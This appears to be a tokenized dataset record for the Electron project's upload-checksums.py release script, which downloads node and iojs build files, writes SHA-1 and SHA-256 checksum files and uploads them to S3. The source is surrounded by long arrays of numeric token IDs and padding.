304, 1128, 1026, 86, 275, 942, 1128, 367, 284, 315, 1425, 8, 552, 17, 304, 1039, 1026, 86, 14, 740, 779, 16, 61, 627, 822, 18, 9, 221, 327, 8265, 499, 36, 1625, 370, 4697, 1128, 367, 284, 315, 1425, 8, 552, 17, 304, 1039, 1026, 86, 59, 73, 1527, 16, 61, 275, 284, 3698, 327, 2763, 378, 26, 378, 12, 17, 12, 18, 12, 19, 12, 20, 12, 1396, 1128, 367, 1335, 315, 1425, 8, 552, 18, 304, 1039, 1026, 86, 59, 16, 1527, 74, 61, 275, 1335, 3698, 327, 1962, 378, 26, 378, 12, 17, 12, 18, 12, 19, 12, 20, 12, 1396, 1128, 372, 1026, 86, 8065, 199, 318, 485, 3773, 63, 2686, 63, 2926, 8, 6972, 12, 284, 12, 1335, 12, 308, 17, 12, 308, 18, 12, 1752, 12658, 29, 797, 304, 1128, 286, 17, 275, 308, 17, 59, 73, 446, 413, 61, 1128, 286, 18, 275, 308, 18, 59, 74, 446, 413, 61, 2958, 327, 16068, 282, 4528, 315, 308, 17, 1128, 282, 275, 1026, 86, 59, 73, 446, 413, 1527, 74, 61, 435, 413, 1128, 327, 16068, 282, 4528, 315, 308, 18, 1128, 330, 275, 1026, 86, 59, 73, 1527, 74, 446, 413, 61, 435, 413, 1128, 327, 20584, 1128, 286, 275, 1026, 86, 59, 73, 446, 413, 1527, 74, 446, 413, 61, 435, 334, 67, 17, 1137, 286, 18, 9, 2958, 327, 1752, 3124, 1128, 366, 275, 286, 435, 413, 221, 327, 7078, 29438, 701, 849, 1128, 340, 1752, 12658, 436, 284, 690, 413, 436, 1335, 690, 413, 26, 1039, 340, 308, 17, 59, 73, 446, 499, 61, 508, 286, 18, 436, 308, 18, 59, 74, 446, 499, 61, 508, 286, 17, 26, 1675, 366, 275, 1026, 86, 59, 73, 446, 499, 1527, 74, 446, 499, 61, 435, 413, 2958, 327, 3732, 314, 17546, 924, 270, 1128, 1026, 86, 59, 73, 1527, 74, 61, 275, 1748, 8, 65, 12, 330, 12, 286, 12, 366, 9, 8065, 199, 318, 5283, 63, 5590, 8, 83, 17, 12, 308, 18, 12, 1752, 12658, 29, 797, 304, 1128, 408, 1128, 12707, 314, 7005, 1856, 609, 15859, 5283, 13, 5590, 3382, 2877, 3326, 14, 1128, 710, 5283, 6033, 365, 314, 1329, 402, 4110, 626, 1929, 370, 506, 1128, 10004, 4241, 12, 11788, 12, 503, 5463, 12, 370, 5793, 308, 17, 1901, 308, 18, 14, 221, 2104, 1128, 2893, 12, 5793, 316, 298, 6322, 2, 370, 298, 609, 1132, 2, 5074, 7795, 7124, 12, 1128, 22581, 402, 2877, 20873, 436, 1373, 22470, 26, 1128, 298, 6322, 2, 1035, 298, 83, 1581, 2, 1035, 298, 609, 262, 2, 1035, 298, 609, 1132, 1674, 221, 5723, 5331, 4293, 1172, 1128, 2757, 4224, 315, 1163, 15460, 12, 1325, 737, 5210, 7795, 7124, 787, 4346, 14, 2958, 961, 2597, 14190, 6127, 1752, 3124, 7860, 1086, 334, 69, 14, 71, 2020, 298, 371, 2, 1035, 298, 2470, 1288, 1128, 10617, 642, 365, 6980, 701, 849, 14, 2958, 520, 635, 308, 17, 12, 308, 18, 26, 710, 3326, 370, 506, 5909, 939, 1128, 520, 635, 1752, 12658, 26, 7480, 370, 2040, 1752, 3124, 7860, 1086, 1128, 520, 466, 308, 17, 26, 620, 1128, 520, 466, 308, 18, 26, 620, 1128, 520, 466, 1752, 12658, 26, 2155, 1128, 520, 4500, 1109, 1128, 408, 1128, 327, 663, 1536, 282, 499, 13, 36, 1625, 1128, 822, 17, 275, 822, 8, 83, 17, 9, 1128, 822, 18, 275, 822, 8, 83, 18, 9, 1128, 1026, 86, 275, 485, 3773, 63, 2686, 63, 826, 8, 552, 17, 435, 413, 12, 822, 18, 435, 413, 9, 2958, 327, 13974, 1806, 314, 1625, 1128, 367, 284, 315, 1425, 8, 552, 17, 304, 1039, 367, 1335, 315, 1425, 8, 552, 18, 304, 1675, 485, 3773, 63, 2686, 63, 2926, 8, 6972, 12, 284, 435, 413, 12, 1335, 435, 413, 12, 308, 17, 12, 308, 18, 12, 1752, 12658, 29, 1515, 12658, 9, 1128, 372, 1026, 86, 59, 552, 17, 1527, 552, 18, 61, 8065, 199, 318, 3366, 63, 5590, 8, 1302, 17, 12, 1768, 18, 304, 1128, 408, 3184, 16612, 511, 14, 2958, 378, 14, 16, 340, 314, 3628, 787, 13130, 12, 413, 14, 16, 340, 2985, 787, 3365, 14, 2958, 1306, 687, 24706, 14, 6759, 492, 3366, 63, 5590, 1128, 1306, 3366, 63, 5590, 8, 17, 12, 17, 9, 1128, 378, 14, 16, 2958, 1306, 3366, 63, 5590, 8, 17, 12, 19, 9, 1128, 413, 14, 16, 1128, 408, 2958, 372, 378, 14, 16, 340, 1768, 17, 508, 1768, 18, 587, 413, 14, 16, 8065, 199, 318, 1335, 5470, 1005, 63, 5590, 8, 1302, 17, 12, 1768, 18, 304, 1128, 408, 10076, 6370, 20234, 663, 13, 21965, 14, 2958, 408, 1128, 372, 334, 552, 8, 1302, 17, 14, 8888, 8, 1302, 18, 430, 446, 822, 8, 1302, 17, 14, 12569, 8, 1302, 18, 1724, 15, 552, 8 ]
[ 653, 292, 4889, 8466, 15650, 6065, 26, 21892, 10072, 11818, 202, 199, 3, 202, 199, 3, 1898, 334, 35, 9, 12521, 13, 9261, 24719, 15263, 7290, 202, 199, 3, 6529, 26, 17379, 3079, 491, 2262, 665, 379, 320, 529, 32, 6799, 14, 957, 30, 202, 199, 3, 260, 17854, 1856, 699, 5428, 665, 1597, 1856, 22488, 17, 32, 6799, 14, 957, 30, 202, 199, 3, 260, 21644, 491, 711, 7751, 331, 6215, 665, 3151, 32, 1259, 14, 761, 4295, 4674, 14, 8654, 30, 202, 199, 3, 2851, 26, 665, 1014, 921, 7530, 2663, 14, 1308, 3133, 202, 199, 3, 2104, 4190, 2556, 12, 1937, 5113, 14, 17715, 202, 199, 3, 2999, 199, 624, 202, 199, 10076, 10072, 11818, 14, 2999, 199, 8564, 314, 6033, 3382, 2877, 2974, 334, 25118, 3326, 680, 202, 199, 2822, 7186, 12, 2985, 1471, 23082, 314, 2569, 7795, 9760, 26, 2999, 199, 17, 14, 366, 8, 65, 12, 282, 9, 275, 378, 202, 199, 18, 14, 366, 8, 65, 12, 330, 9, 2356, 378, 202, 199, 19, 14, 366, 8, 65, 12, 286, 9, 2695, 366, 8, 65, 12, 330, 9, 435, 366, 8, 66, 12, 286, 9, 202, 199, 624, 2999, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 202, 199, 504, 636, 2443, 363, 492, 4629, 8065, 199, 318, 485, 3773, 63, 2686, 63, 826, 8, 552, 17, 12, 822, 18, 304, 1128, 1026, 86, 275, 942, 1128, 367, 284, 315, 1425, 8, 552, 17, 304, 1039, 1026, 86, 14, 740, 779, 16, 61, 627, 822, 18, 9, 221, 327, 8265, 499, 36, 1625, 370, 4697, 1128, 367, 284, 315, 1425, 8, 552, 17, 304, 1039, 1026, 86, 59, 73, 1527, 16, 61, 275, 284, 3698, 327, 2763, 378, 26, 378, 12, 17, 12, 18, 12, 19, 12, 20, 12, 1396, 1128, 367, 1335, 315, 1425, 8, 552, 18, 304, 1039, 1026, 86, 59, 16, 1527, 74, 61, 275, 1335, 3698, 327, 1962, 378, 26, 378, 12, 17, 12, 18, 12, 19, 12, 20, 12, 1396, 1128, 372, 1026, 86, 8065, 199, 318, 485, 3773, 63, 2686, 63, 2926, 8, 6972, 12, 284, 12, 1335, 12, 308, 17, 12, 308, 18, 12, 1752, 12658, 29, 797, 304, 1128, 286, 17, 275, 308, 17, 59, 73, 446, 413, 61, 1128, 286, 18, 275, 308, 18, 59, 74, 446, 413, 61, 2958, 327, 16068, 282, 4528, 315, 308, 17, 1128, 282, 275, 1026, 86, 59, 73, 446, 413, 1527, 74, 61, 435, 413, 1128, 327, 16068, 282, 4528, 315, 308, 18, 1128, 330, 275, 1026, 86, 59, 73, 1527, 74, 446, 413, 61, 435, 413, 1128, 327, 20584, 1128, 286, 275, 1026, 86, 59, 73, 446, 413, 1527, 74, 446, 413, 61, 435, 334, 67, 17, 1137, 286, 18, 9, 2958, 327, 1752, 3124, 1128, 366, 275, 286, 435, 413, 221, 327, 7078, 29438, 701, 849, 1128, 340, 1752, 12658, 436, 284, 690, 413, 436, 1335, 690, 413, 26, 1039, 340, 308, 17, 59, 73, 446, 499, 61, 508, 286, 18, 436, 308, 18, 59, 74, 446, 499, 61, 508, 286, 17, 26, 1675, 366, 275, 1026, 86, 59, 73, 446, 499, 1527, 74, 446, 499, 61, 435, 413, 2958, 327, 3732, 314, 17546, 924, 270, 1128, 1026, 86, 59, 73, 1527, 74, 61, 275, 1748, 8, 65, 12, 330, 12, 286, 12, 366, 9, 8065, 199, 318, 5283, 63, 5590, 8, 83, 17, 12, 308, 18, 12, 1752, 12658, 29, 797, 304, 1128, 408, 1128, 12707, 314, 7005, 1856, 609, 15859, 5283, 13, 5590, 3382, 2877, 3326, 14, 1128, 710, 5283, 6033, 365, 314, 1329, 402, 4110, 626, 1929, 370, 506, 1128, 10004, 4241, 12, 11788, 12, 503, 5463, 12, 370, 5793, 308, 17, 1901, 308, 18, 14, 221, 2104, 1128, 2893, 12, 5793, 316, 298, 6322, 2, 370, 298, 609, 1132, 2, 5074, 7795, 7124, 12, 1128, 22581, 402, 2877, 20873, 436, 1373, 22470, 26, 1128, 298, 6322, 2, 1035, 298, 83, 1581, 2, 1035, 298, 609, 262, 2, 1035, 298, 609, 1132, 1674, 221, 5723, 5331, 4293, 1172, 1128, 2757, 4224, 315, 1163, 15460, 12, 1325, 737, 5210, 7795, 7124, 787, 4346, 14, 2958, 961, 2597, 14190, 6127, 1752, 3124, 7860, 1086, 334, 69, 14, 71, 2020, 298, 371, 2, 1035, 298, 2470, 1288, 1128, 10617, 642, 365, 6980, 701, 849, 14, 2958, 520, 635, 308, 17, 12, 308, 18, 26, 710, 3326, 370, 506, 5909, 939, 1128, 520, 635, 1752, 12658, 26, 7480, 370, 2040, 1752, 3124, 7860, 1086, 1128, 520, 466, 308, 17, 26, 620, 1128, 520, 466, 308, 18, 26, 620, 1128, 520, 466, 1752, 12658, 26, 2155, 1128, 520, 4500, 1109, 1128, 408, 1128, 327, 663, 1536, 282, 499, 13, 36, 1625, 1128, 822, 17, 275, 822, 8, 83, 17, 9, 1128, 822, 18, 275, 822, 8, 83, 18, 9, 1128, 1026, 86, 275, 485, 3773, 63, 2686, 63, 826, 8, 552, 17, 435, 413, 12, 822, 18, 435, 413, 9, 2958, 327, 13974, 1806, 314, 1625, 1128, 367, 284, 315, 1425, 8, 552, 17, 304, 1039, 367, 1335, 315, 1425, 8, 552, 18, 304, 1675, 485, 3773, 63, 2686, 63, 2926, 8, 6972, 12, 284, 435, 413, 12, 1335, 435, 413, 12, 308, 17, 12, 308, 18, 12, 1752, 12658, 29, 1515, 12658, 9, 1128, 372, 1026, 86, 59, 552, 17, 1527, 552, 18, 61, 8065, 199, 318, 3366, 63, 5590, 8, 1302, 17, 12, 1768, 18, 304, 1128, 408, 3184, 16612, 511, 14, 2958, 378, 14, 16, 340, 314, 3628, 787, 13130, 12, 413, 14, 16, 340, 2985, 787, 3365, 14, 2958, 1306, 687, 24706, 14, 6759, 492, 3366, 63, 5590, 1128, 1306, 3366, 63, 5590, 8, 17, 12, 17, 9, 1128, 378, 14, 16, 2958, 1306, 3366, 63, 5590, 8, 17, 12, 19, 9, 1128, 413, 14, 16, 1128, 408, 2958, 372, 378, 14, 16, 340, 1768, 17, 508, 1768, 18, 587, 413, 14, 16, 8065, 199, 318, 1335, 5470, 1005, 63, 5590, 8, 1302, 17, 12, 1768, 18, 304, 1128, 408, 10076, 6370, 20234, 663, 13, 21965, 14, 2958, 408, 1128, 372, 334, 552, 8, 1302, 17, 14, 8888, 8, 1302, 18, 430, 446, 822, 8, 1302, 17, 14, 12569, 8, 1302, 18, 1724, 15, 552, 8, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
timruffles/electron
script/upload-checksums.py
35
1775
#!/usr/bin/env python import argparse import hashlib import os import tempfile from lib.config import s3_config from lib.util import download, rm_rf, s3put DIST_URL = 'https://atom.io/download/atom-shell/' def main(): args = parse_args() url = DIST_URL + args.version + '/' directory, files = download_files(url, get_files_list(args.version)) checksums = [ create_checksum('sha1', directory, 'SHASUMS.txt', files), create_checksum('sha256', directory, 'SHASUMS256.txt', files) ] bucket, access_key, secret_key = s3_config() s3put(bucket, access_key, secret_key, directory, 'atom-shell/dist/{0}'.format(args.version), checksums) rm_rf(directory) def parse_args(): parser = argparse.ArgumentParser(description='upload sumsha file') parser.add_argument('-v', '--version', help='Specify the version', required=True) return parser.parse_args() def get_files_list(version): return [ 'node-{0}.tar.gz'.format(version), 'iojs-{0}.tar.gz'.format(version), 'node.lib', 'x64/node.lib', 'win-x86/iojs.lib', 'win-x64/iojs.lib', ] def download_files(url, files): directory = tempfile.mkdtemp(prefix='electron-tmp') return directory, [ download(f, url + f, os.path.join(directory, f)) for f in files ] def create_checksum(algorithm, directory, filename, files): lines = [] for path in files: h = hashlib.new(algorithm) with open(path, 'r') as f: h.update(f.read()) lines.append(h.hexdigest() + ' ' + os.path.relpath(path, directory)) checksum_file = os.path.join(directory, filename) with open(checksum_file, 'w') as f: f.write('\n'.join(lines) + '\n') return checksum_file if __name__ == '__main__': import sys sys.exit(main())
mit
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 199, 646, 7534, 199, 646, 8337, 199, 646, 747, 199, 646, 5549, 199, 199, 504, 1973, 14, 888, 492, 308, 19, 63, 888, 199, 504, 1973, 14, 1974, 492, 5235, 12, 14267, 63, 3941, 12, 308, 19, 524, 421, 199, 13783, 63, 2632, 275, 283, 2859, 921, 4188, 14, 2308, 15, 4249, 15, 4188, 13, 5641, 4805, 421, 199, 318, 2446, 837, 523, 1249, 275, 2198, 63, 589, 342, 819, 1166, 275, 28424, 63, 2632, 435, 1249, 14, 1023, 435, 7324, 523, 2082, 12, 1584, 275, 5235, 63, 1725, 8, 633, 12, 664, 63, 1725, 63, 513, 8, 589, 14, 1023, 430, 523, 9040, 83, 275, 359, 272, 1218, 63, 8928, 360, 4835, 17, 297, 2082, 12, 283, 3234, 1179, 2639, 51, 14, 2424, 297, 1584, 395, 272, 1218, 63, 8928, 360, 4835, 3912, 297, 2082, 12, 283, 3234, 1179, 2639, 51, 3912, 14, 2424, 297, 1584, 9, 523, 1622, 819, 5315, 12, 2879, 63, 498, 12, 7565, 63, 498, 275, 308, 19, 63, 888, 342, 523, 308, 19, 524, 8, 4623, 12, 2879, 63, 498, 12, 7565, 63, 498, 12, 2082, 12, 267, 283, 4188, 13, 5641, 15, 2686, 5321, 16, 5285, 908, 8, 589, 14, 1023, 395, 9040, 83, 9, 819, 14267, 63, 3941, 8, 3619, 9, 421, 199, 318, 2198, 63, 589, 837, 523, 1798, 275, 7534, 14, 10730, 8, 1802, 534, 5064, 3089, 4835, 570, 358, 523, 1798, 14, 525, 63, 2094, 3654, 86, 297, 2850, 1023, 297, 1720, 534, 17768, 314, 1015, 297, 1993, 1415, 29, 549, 9, 523, 372, 1798, 14, 1122, 63, 589, 342, 421, 199, 318, 664, 63, 1725, 63, 513, 8, 1023, 304, 523, 372, 359, 272, 283, 932, 24185, 16, 5565, 5369, 14, 6838, 1370, 908, 8, 1023, 395, 272, 283, 2308, 3596, 24185, 16, 5565, 5369, 14, 6838, 1370, 908, 8, 1023, 395, 272, 283, 932, 14, 773, 297, 272, 283, 88, 772, 15, 932, 14, 773, 297, 272, 283, 2676, 13, 88, 1184, 15, 2308, 3596, 14, 773, 297, 272, 283, 2676, 13, 88, 772, 15, 2308, 3596, 14, 773, 297, 523, 1622, 421, 199, 318, 5235, 63, 1725, 8, 633, 12, 1584, 304, 523, 2082, 275, 5549, 14, 11983, 8, 1861, 534, 30169, 13, 2791, 358, 523, 372, 2082, 12, 359, 272, 5235, 8, 70, 12, 1166, 435, 289, 12, 747, 14, 515, 14, 904, 8, 3619, 12, 289, 430, 272, 367, 289, 315, 1584, 523, 1622, 421, 199, 318, 1218, 63, 8928, 8, 8833, 12, 2082, 12, 1788, 12, 1584, 304, 523, 2385, 275, 942, 523, 367, 931, 315, 1584, 26, 272, 394, 275, 8337, 14, 1222, 8, 8833, 9, 272, 543, 1551, 8, 515, 12, 283, 82, 358, 465, 289, 26, 489, 394, 14, 873, 8, 70, 14, 739, 1012, 489, 2385, 14, 740, 8, 72, 14, 11453, 342, 435, 283, 221, 283, 435, 747, 14, 515, 14, 12405, 8, 515, 12, 2082, 430, 819, 9040, 63, 493, 275, 747, 14, 515, 14, 904, 8, 3619, 12, 1788, 9, 523, 543, 1551, 8, 8928, 63, 493, 12, 283, 87, 358, 465, 289, 26, 272, 289, 14, 952, 2258, 78, 1370, 904, 8, 1278, 9, 435, 1557, 78, 358, 523, 372, 9040, 63, 493, 421, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 523, 492, 984, 523, 984, 14, 2224, 8, 973, 1012, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 199, 646, 7534, 199, 646, 8337, 199, 646, 747, 199, 646, 5549, 199, 199, 504, 1973, 14, 888, 492, 308, 19, 63, 888, 199, 504, 1973, 14, 1974, 492, 5235, 12, 14267, 63, 3941, 12, 308, 19, 524, 421, 199, 13783, 63, 2632, 275, 283, 2859, 921, 4188, 14, 2308, 15, 4249, 15, 4188, 13, 5641, 4805, 421, 199, 318, 2446, 837, 523, 1249, 275, 2198, 63, 589, 342, 819, 1166, 275, 28424, 63, 2632, 435, 1249, 14, 1023, 435, 7324, 523, 2082, 12, 1584, 275, 5235, 63, 1725, 8, 633, 12, 664, 63, 1725, 63, 513, 8, 589, 14, 1023, 430, 523, 9040, 83, 275, 359, 272, 1218, 63, 8928, 360, 4835, 17, 297, 2082, 12, 283, 3234, 1179, 2639, 51, 14, 2424, 297, 1584, 395, 272, 1218, 63, 8928, 360, 4835, 3912, 297, 2082, 12, 283, 3234, 1179, 2639, 51, 3912, 14, 2424, 297, 1584, 9, 523, 1622, 819, 5315, 12, 2879, 63, 498, 12, 7565, 63, 498, 275, 308, 19, 63, 888, 342, 523, 308, 19, 524, 8, 4623, 12, 2879, 63, 498, 12, 7565, 63, 498, 12, 2082, 12, 267, 283, 4188, 13, 5641, 15, 2686, 5321, 16, 5285, 908, 8, 589, 14, 1023, 395, 9040, 83, 9, 819, 14267, 63, 3941, 8, 3619, 9, 421, 199, 318, 2198, 63, 589, 837, 523, 1798, 275, 7534, 14, 10730, 8, 1802, 534, 5064, 3089, 4835, 570, 358, 523, 1798, 14, 525, 63, 2094, 3654, 86, 297, 2850, 1023, 297, 1720, 534, 17768, 314, 1015, 297, 1993, 1415, 29, 549, 9, 523, 372, 1798, 14, 1122, 63, 589, 342, 421, 199, 318, 664, 63, 1725, 63, 513, 8, 1023, 304, 523, 372, 359, 272, 283, 932, 24185, 16, 5565, 5369, 14, 6838, 1370, 908, 8, 1023, 395, 272, 283, 2308, 3596, 24185, 16, 5565, 5369, 14, 6838, 1370, 908, 8, 1023, 395, 272, 283, 932, 14, 773, 297, 272, 283, 88, 772, 15, 932, 14, 773, 297, 272, 283, 2676, 13, 88, 1184, 15, 2308, 3596, 14, 773, 297, 272, 283, 2676, 13, 88, 772, 15, 2308, 3596, 14, 773, 297, 523, 1622, 421, 199, 318, 5235, 63, 1725, 8, 633, 12, 1584, 304, 523, 2082, 275, 5549, 14, 11983, 8, 1861, 534, 30169, 13, 2791, 358, 523, 372, 2082, 12, 359, 272, 5235, 8, 70, 12, 1166, 435, 289, 12, 747, 14, 515, 14, 904, 8, 3619, 12, 289, 430, 272, 367, 289, 315, 1584, 523, 1622, 421, 199, 318, 1218, 63, 8928, 8, 8833, 12, 2082, 12, 1788, 12, 1584, 304, 523, 2385, 275, 942, 523, 367, 931, 315, 1584, 26, 272, 394, 275, 8337, 14, 1222, 8, 8833, 9, 272, 543, 1551, 8, 515, 12, 283, 82, 358, 465, 289, 26, 489, 394, 14, 873, 8, 70, 14, 739, 1012, 489, 2385, 14, 740, 8, 72, 14, 11453, 342, 435, 283, 221, 283, 435, 747, 14, 515, 14, 12405, 8, 515, 12, 2082, 430, 819, 9040, 63, 493, 275, 747, 14, 515, 14, 904, 8, 3619, 12, 1788, 9, 523, 543, 1551, 8, 8928, 63, 493, 12, 283, 87, 358, 465, 289, 26, 272, 289, 14, 952, 2258, 78, 1370, 904, 8, 1278, 9, 435, 1557, 78, 358, 523, 372, 9040, 63, 493, 421, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 523, 492, 984, 523, 984, 14, 2224, 8, 973, 1012, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 